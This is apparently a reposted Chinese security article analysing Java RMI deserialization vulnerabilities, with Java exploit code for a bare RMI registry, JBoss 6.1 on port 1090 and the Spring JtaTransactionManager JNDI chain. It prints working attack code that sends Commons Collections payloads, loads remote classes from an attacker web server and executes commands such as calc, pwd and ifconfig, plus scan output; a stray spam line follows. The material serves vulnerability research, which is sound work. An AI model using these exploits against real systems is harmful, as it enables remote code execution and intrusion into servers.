<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/papers/13056

                    Author:angelwhu

                    0x00 背景


                    在闡述java反序列化漏洞時,原文中提到:

                    Java LOVES sending serialized objects all over the place. For example:

                    In HTTP requests – Parameters, ViewState, Cookies, you name it.

                    RMI – The extensively used Java RMI protocol is 100% based on serialization
                    RMI over HTTP – Many Java thick client web apps use this – again 100% serialized objects

                    JMX – Again, relies on serialized objects being shot over the wire Custom Protocols – Sending an receiving raw Java objects is the norm – which we’ll see in some of the exploits to come

                    在java使用RMI機制時,會使用序列化對象進行數據傳輸。這就會產生java反序列化漏洞。利用范圍是很大。

                    之后,綠盟科技提到了JBoss中存在RMI機制方面的漏洞。最近又有了spring框架RCE漏洞,這個漏洞利用與RMI密切相關。

                    這里便整理關于RMI漏洞的相關漏洞,并進行簡要利用分析。

                    0x01 RMI簡介


                    摘自網絡的簡要介紹:

                    RMI是Remote Method Invocation的簡稱,是J2SE的一部分,能夠讓程序員開發出基于Java的分布式應用。一個RMI對象是一個遠程Java對象,可以從另一個Java虛擬機上(甚至跨過網絡)調用它的方法,可以像調用本地Java對象的方法一樣調用遠程對象的方法,使分布在不同的JVM中的對象的外表和行為都像本地對象一樣。

                    這里看出它的功能中是可以通過網絡進行對象的傳輸,使其可以進行遠程對象調用。下面就寫一個簡單的RMI程序,說明其存在反序列化漏洞問題。

                    0x02 RMI應用程序攻擊


                    首先簡單的實現一個服務端,啟用RMI服務,綁定在6600端口:

                    #!java
                    public class Run {
                    
                        public static void main(String[] args) {
                            try {
                                //PersonServiceInterface personService=new PersonServiceImp();
                                //注冊通訊端口
                                LocateRegistry.createRegistry(6600);
                                //注冊通訊路徑
                                //Naming.rebind("rmi://127.0.0.1:6600/PersonService", personService);
                                System.out.println("Service Start!");
                            } catch (Exception e) {
                                // TODO Auto-generated catch block
                                e.printStackTrace();
                            }
                        }
                    
                    }
                    

                    上述代碼中代碼中,本來我使用bind函數,將personService對象綁定在服務器端供外部調用。

                    但我發現,即使沒有任何對象綁定,只是用一行代碼LocateRegistry.createRegistry(6600);,開通RMI服務。然后,通過訪問服務端口(這里的6600端口),即可實現反序列化攻擊。

                    這里進行利用當然遵從java反序列化漏洞中一個條件:Apache Commons Collections或者其他存在缺陷的第三方庫包含在lib路徑中。這里使用的是commons-collections-3.1.jar,將其加入到lib路徑中。

                    這樣,上述簡單的RMI應用程序滿足了反序列化漏洞的兩個條件:

                    攻擊代碼的編寫:

                    #!java
                    Object instance = PayloadGeneration.generateExecPayload("calc");
                    
                    InvocationHandler h = (InvocationHandler) instance;
                    Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class[]{Remote.class},h));//動態代理Rmote接口。
                    Registry registry = LocateRegistry.getRegistry(ip, port);//服務器端的ip和端口
                    try{
                        registry.bind("pwned", r); // r is remote obj
                    }
                    catch (Throwable e) 
                    {
                        e.printStackTrace();
                    }
                    

                    這里將java反序列化漏洞的payload封裝了下,PayloadGeneration.generateExecPayload("calc");會產生一個執行calc命令的對象,有興趣的可以在我的github上查看源碼。然后,將我們的payload發送到RMI服務端口進行攻擊。

                    registry.bind("pwned", r);中r對象必須繼承Remote接口。所以這里使用了java動態代理技術來代理Remote接口并生成其對象r。然后使用bind函數便可將攻擊payload發送到RMI服務中,遠程執行calc命令,攻擊完成。本機測試如下:

                    這里可以看到,只要應用服務器上使用了RMI服務,并使用了Apache Commons Collections第三方庫,就可能存在反序列化命令執行的漏洞。

                    值得關注的是,RMI服務的攻擊,同樣可以使用URLClassLoader方法進行回顯。

                    #!java
                    Object instance = PayloadGeneration.generateURLClassLoaderPayload("http://****/java/", "exploit.ErrorBaseExec", "do_exec", "pwd"); 
                    

                    同樣,將封裝好的payload換成URLClassLoader的攻擊負載。便能加載遠程的exploit.ErrorBaseError類,執行pwd命令,即可回顯。這是我在Ubuntu上運行服務端進行的測試結果。

                    這里說明了應用程序在使用RMI機制時,會存在反序列化的問題。如果恰好使用了有缺陷的第三方庫,那就可以遠程命令執行了。接下來,看看實際場景中的相關漏洞。

                    0x03 JBoss RMI攻擊利用


                    JBOSS符合我們在上述討論中的兩個條件:

                    在綠盟科技的文章中,提到了JBOSS中存在使用RMI機制的問題,可以在JMXInvoker刪除的情況下獲取shell。 于是可以這樣重現命令執行。

                    使用如下命令啟動jboss,默認就會對外開放所有端口。當然10.10.10.135代表本機ip。

                    #!bash
                    ./run.sh -b 10.10.10.135  
                    

                    首先,掃描一下jboss服務器端口,這里我使用的是jboss-6.1.0.Final版本,安裝在Ubuntu虛擬機中。使用nmap掃描結果如下:

                    #!bash
                    1090/tcp open  ff-fms
                    1091/tcp open  ff-sm
                    1098/tcp open  rmiactivation
                    1099/tcp open  rmiregistry
                    4446/tcp open  n1-fwp
                    5500/tcp open  hotline
                    8009/tcp open  ajp13
                    8080/tcp open  http-proxy
                    8083/tcp open  us-srv  
                    

                    發現1090端口和1099端口對外開放了。也就是說RMI服務對外開放了。

                    在這里說一下,在jboss利用上面,按照原文的代碼利用,沒有重現成功。其中有payload的問題,所以使用了我自己寫的封裝好的payload,比較方便。另外,我們一開始認為攻擊1099端口,我的好同學研究發現應該是1090端口,這才攻擊成功。

                    于是有了以下攻擊代碼:

                    #!java
                    Object instance = PayloadGeneration.generateURLClassLoaderPayload("http://******:8080/java/", "exploit.ErrorBaseExec", "do_exec", "pwd"); 
                    
                    InvocationHandler h = (InvocationHandler) instance;
                    Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class[]{Remote.class},h));
                    Registry registry = LocateRegistry.getRegistry("10.10.10.135", 1090);
                    try{
                        registry.bind("pwned", r); // r is remote obj
                    }
                    catch (Throwable e) 
                    {
                        e.printStackTrace();
                    }   
                    

                    運行代碼,并攻擊Jboss可以得到如下執行結果:

                    0x04 Spring framework遠程命令執行分析


                    這個漏洞涉及JNDI和RMI服務,比較有趣。代碼細節分析請參考資料中的第三個,分析的非常好,就不班門弄斧了。這里簡單理清這個攻擊的步驟。

                    Apache Commons Collections這個庫的反序列化利用類似,我們需要將spring框架中的lib包,包含在CLASSPATH中。這個要求比較苛刻,需要的包也比較多:

                    翻譯下原文的命令執行代碼鏈:

                    spring-tx.jar中包含org.springframework.transaction.jta.JtaTransactionManager類,這個類存在JNDI的反序列化問題。
                    它的readObject() 方法執行中含有這樣的一個路徑:

                    #!bash
                    initUserTransactionAndTransactionManager()->
                    lookupUserTransaction()->
                    JndiTemplate.lookup()->
                    InitialContext.lookup(userTransactionName)  
                    

                    InitialContext.Lookup() 會調用 userTransactionName屬性,這個屬性是我們可以控制的。
                    查閱JNDI使用,可以發現userTransactionName屬性可以是一個外網的RMI路徑,比如:rmi://10.10.10.1:1099/Object

                    于是我們可以自己搭建一個RMI服務器,讓目標服務器來訪問下載執行準備好的任意java代碼。
                    服務端搭建在Ubuntu虛擬機上,簡單地建立一個socket進行數據傳輸并反序列化解析。代碼自行查閱github~~

                    簡要畫的原理如下:

                    Client端即為攻擊方,它向目標服務器發送JtaTransactionManager序列化對象后,會觸發server端進行訪問Client端(即:這時的RMI服務器端)中的RMI服務,去下載任意java對象進行執行。關鍵代碼為:

                    #!java
                    //創建RMI服務
                    Registry registry = LocateRegistry.createRegistry(1099);
                    Reference reference = new javax.naming.Reference("client.ExportObject","client.ExportObject","http://"+ localAddress +"/");
                    //訪問rmi服務時,會轉到該url地址中下載client.ExportObject類,并新建對象。
                    
                    ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
                    registry.bind("Object", referenceWrapper);
                    
                    String jndiAddress = "rmi://"+localAddress+":1099/Object";
                    //通過jndi訪問rmi服務
                    
                    org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
                    object.setUserTransactionName(jndiAddress);
                    

                    測試遠程執行ifconfig命令,可在服務端看到執行成功,同時客戶端看到了訪問記錄。結果如下:

                    0x05 結語


                    java反序列漏洞影響很大,RMI機制也是冰山一角。期待相互交流研究。

                    0x06 參考資料及源碼


                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频